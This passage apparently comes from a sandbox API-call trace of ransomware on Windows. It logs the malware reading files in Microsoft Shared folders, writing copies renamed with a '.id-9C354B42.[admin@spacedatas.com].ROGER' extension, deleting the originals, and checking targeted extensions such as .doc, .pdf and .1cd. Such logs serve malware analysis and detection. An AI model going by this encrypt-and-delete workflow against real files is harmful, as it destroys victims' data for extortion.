tag\\lists\\1033\\dates.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.672] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.672] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0046.742] GetLastError () returned 0x0 [0046.742] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0046.746] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0046.747] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.747] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.747] SetEndOfFile (hFile=0x3d8) returned 1 [0046.747] CloseHandle (hObject=0x3d8) returned 1 [0046.747] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.747] SetEndOfFile (hFile=0x3a0) returned 1 [0046.748] CloseHandle (hObject=0x3a0) returned 1 [0046.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0046.748] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0046.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.749] lstrlenW (lpString=".doc") returned 4 [0046.749] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.749] lstrlenW (lpString=".docx") returned 5 [0046.749] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0046.749] lstrlenW (lpString=".pdf") returned 4 [0046.749] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.749] lstrlenW (lpString=".xls") returned 4 [0046.749] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.749] lstrlenW (lpString=".xlsx") returned 5 [0046.749] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0046.749] lstrlenW (lpString=".ppt") returned 4 [0046.749] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.749] lstrlenW (lpString=".zip") returned 4 [0046.749] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.749] lstrlenW (lpString=".rar") returned 4 [0046.749] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.749] lstrlenW (lpString=".bz2") returned 4 [0046.749] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.749] lstrlenW (lpString=".7z") returned 3 [0046.749] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.749] lstrlenW (lpString=".dbf") returned 4 [0046.749] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.749] lstrlenW (lpString=".1cd") returned 4 [0046.750] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.750] lstrlenW (lpString=".jpg") returned 4 [0046.750] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.750] lstrlenW (lpString=".doc") returned 4 [0046.750] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString=".docx") returned 5 [0046.750] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0046.750] lstrlenW (lpString=".pdf") returned 4 [0046.750] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString=".xls") returned 4 [0046.750] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString=".xlsx") returned 5 [0046.750] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0046.750] lstrlenW (lpString=".ppt") returned 4 [0046.750] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.750] lstrlenW (lpString=".zip") returned 4 [0046.750] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.750] lstrlenW (lpString=".rar") returned 4 [0046.750] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString=".bz2") returned 4 [0046.750] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString=".7z") returned 3 [0046.750] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.750] lstrlenW (lpString=".dbf") returned 4 [0046.750] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.751] lstrlenW (lpString=".1cd") returned 4 [0046.751] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.751] lstrlenW (lpString=".jpg") returned 4 [0046.751] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.751] lstrcmpiW (lpString1=".htm", lpString2=".ROGER") returned -1 [0046.751] lstrlenW (lpString="Bears.htm") returned 9 [0046.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.754] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=255) returned 1 [0046.754] CloseHandle (hObject=0x3a0) returned 1 [0046.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0046.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.754] lstrlenW (lpString=".doc") returned 4 [0046.754] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0046.754] lstrlenW (lpString=".docx") returned 5 [0046.754] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0046.754] lstrlenW (lpString=".pdf") returned 4 [0046.755] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0046.755] lstrlenW (lpString=".xls") returned 4 [0046.755] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0046.755] lstrlenW (lpString=".xlsx") returned 5 [0046.755] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0046.755] lstrlenW (lpString=".ppt") returned 4 [0046.755] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0046.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.755] lstrlenW (lpString=".zip") returned 4 [0046.755] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0046.755] lstrlenW (lpString=".rar") returned 4 [0046.755] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0046.755] lstrlenW (lpString=".bz2") returned 4 [0046.755] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0046.755] lstrlenW (lpString=".7z") returned 3 [0046.755] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0046.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.755] lstrlenW (lpString=".dbf") returned 4 [0046.755] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0046.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.755] lstrlenW (lpString=".1cd") returned 4 [0046.755] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0046.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.755] lstrlenW (lpString=".jpg") returned 4 [0046.755] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0046.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.755] lstrlenW (lpString=".doc") returned 4 [0046.755] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0046.755] lstrlenW (lpString=".docx") returned 5 [0046.755] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0046.755] lstrlenW (lpString=".pdf") returned 4 [0046.756] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0046.756] lstrlenW (lpString=".xls") returned 4 [0046.756] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0046.756] lstrlenW (lpString=".xlsx") returned 5 [0046.756] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0046.756] lstrlenW (lpString=".ppt") returned 4 [0046.756] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0046.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.756] lstrlenW (lpString=".zip") returned 4 [0046.756] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0046.756] lstrlenW (lpString=".rar") returned 4 [0046.756] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0046.756] lstrlenW (lpString=".bz2") returned 4 [0046.756] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0046.756] lstrlenW (lpString=".7z") returned 3 [0046.756] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0046.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.756] lstrlenW (lpString=".dbf") returned 4 [0046.756] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0046.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.756] lstrlenW (lpString=".1cd") returned 4 [0046.756] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0046.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0046.756] lstrlenW (lpString=".jpg") returned 4 [0046.756] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0046.756] lstrcmpiW (lpString1=".jpg", lpString2=".ROGER") returned -1 [0046.756] lstrlenW (lpString="Bears.jpg") returned 9 [0046.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.757] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1074) returned 1 [0046.757] CloseHandle (hObject=0x3a0) returned 1 [0046.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0046.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.757] lstrlenW (lpString=".doc") returned 4 [0046.757] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0046.757] lstrlenW (lpString=".docx") returned 5 [0046.757] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0046.757] lstrlenW (lpString=".pdf") returned 4 [0046.757] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0046.757] lstrlenW (lpString=".xls") returned 4 [0046.757] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0046.757] lstrlenW (lpString=".xlsx") returned 5 [0046.757] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0046.757] lstrlenW (lpString=".ppt") returned 4 [0046.757] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0046.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.758] lstrlenW (lpString=".zip") returned 4 [0046.758] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0046.758] lstrlenW (lpString=".rar") returned 4 [0046.758] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0046.758] lstrlenW (lpString=".bz2") returned 4 [0046.758] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0046.758] lstrlenW (lpString=".7z") returned 3 [0046.758] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0046.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.758] lstrlenW (lpString=".dbf") returned 4 [0046.758] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0046.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.758] lstrlenW (lpString=".1cd") returned 4 [0046.758] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0046.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.758] lstrlenW (lpString=".jpg") returned 4 [0046.758] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0046.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.758] lstrlenW (lpString=".doc") returned 4 [0046.758] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0046.758] lstrlenW (lpString=".docx") returned 5 [0046.758] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0046.758] lstrlenW (lpString=".pdf") returned 4 [0046.758] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0046.758] lstrlenW (lpString=".xls") returned 4 [0046.758] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0046.758] lstrlenW (lpString=".xlsx") returned 5 [0046.758] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0046.758] lstrlenW (lpString=".ppt") returned 4 [0046.758] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0046.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.759] lstrlenW (lpString=".zip") returned 4 [0046.759] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0046.759] lstrlenW (lpString=".rar") returned 4 [0046.759] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0046.759] lstrlenW (lpString=".bz2") returned 4 [0046.759] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0046.759] lstrlenW (lpString=".7z") returned 3 [0046.759] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0046.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.759] lstrlenW (lpString=".dbf") returned 4 [0046.759] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0046.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.759] lstrlenW (lpString=".1cd") returned 4 [0046.759] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0046.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0046.759] lstrlenW (lpString=".jpg") returned 4 [0046.759] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0046.759] lstrcmpiW (lpString1=".jpg", lpString2=".ROGER") returned -1 [0046.759] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0046.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.760] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2575) returned 1 [0046.760] CloseHandle (hObject=0x3a0) returned 1 [0046.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0046.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.760] lstrlenW (lpString=".doc") returned 4 [0046.760] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0046.760] lstrlenW (lpString=".docx") returned 5 [0046.761] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0046.761] lstrlenW (lpString=".pdf") returned 4 [0046.761] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0046.761] lstrlenW (lpString=".xls") returned 4 [0046.761] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0046.761] lstrlenW (lpString=".xlsx") returned 5 [0046.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0046.761] lstrlenW (lpString=".ppt") returned 4 [0046.761] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.761] lstrlenW (lpString=".zip") returned 4 [0046.761] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0046.761] lstrlenW (lpString=".rar") returned 4 [0046.761] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0046.761] lstrlenW (lpString=".bz2") returned 4 [0046.761] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0046.761] lstrlenW (lpString=".7z") returned 3 [0046.761] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.761] lstrlenW (lpString=".dbf") returned 4 [0046.761] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.761] lstrlenW (lpString=".1cd") returned 4 [0046.761] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.761] lstrlenW (lpString=".jpg") returned 4 [0046.761] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.761] lstrlenW (lpString=".doc") returned 4 [0046.761] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0046.762] lstrlenW (lpString=".docx") returned 5 [0046.762] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0046.762] lstrlenW (lpString=".pdf") returned 4 [0046.762] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0046.762] lstrlenW (lpString=".xls") returned 4 [0046.762] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0046.762] lstrlenW (lpString=".xlsx") returned 5 [0046.762] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0046.762] lstrlenW (lpString=".ppt") returned 4 [0046.762] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0046.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.762] lstrlenW (lpString=".zip") returned 4 [0046.762] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0046.762] lstrlenW (lpString=".rar") returned 4 [0046.762] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0046.762] lstrlenW (lpString=".bz2") returned 4 [0046.762] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0046.762] lstrlenW (lpString=".7z") returned 3 [0046.762] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0046.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.762] lstrlenW (lpString=".dbf") returned 4 [0046.762] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0046.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.762] lstrlenW (lpString=".1cd") returned 4 [0046.762] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0046.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0046.762] lstrlenW (lpString=".jpg") returned 4 [0046.762] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0046.762] lstrcmpiW (lpString1=".gif", lpString2=".ROGER") returned -1 [0046.763] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0046.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.763] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4587) returned 1 [0046.763] CloseHandle (hObject=0x3a0) returned 1 [0046.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0046.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" 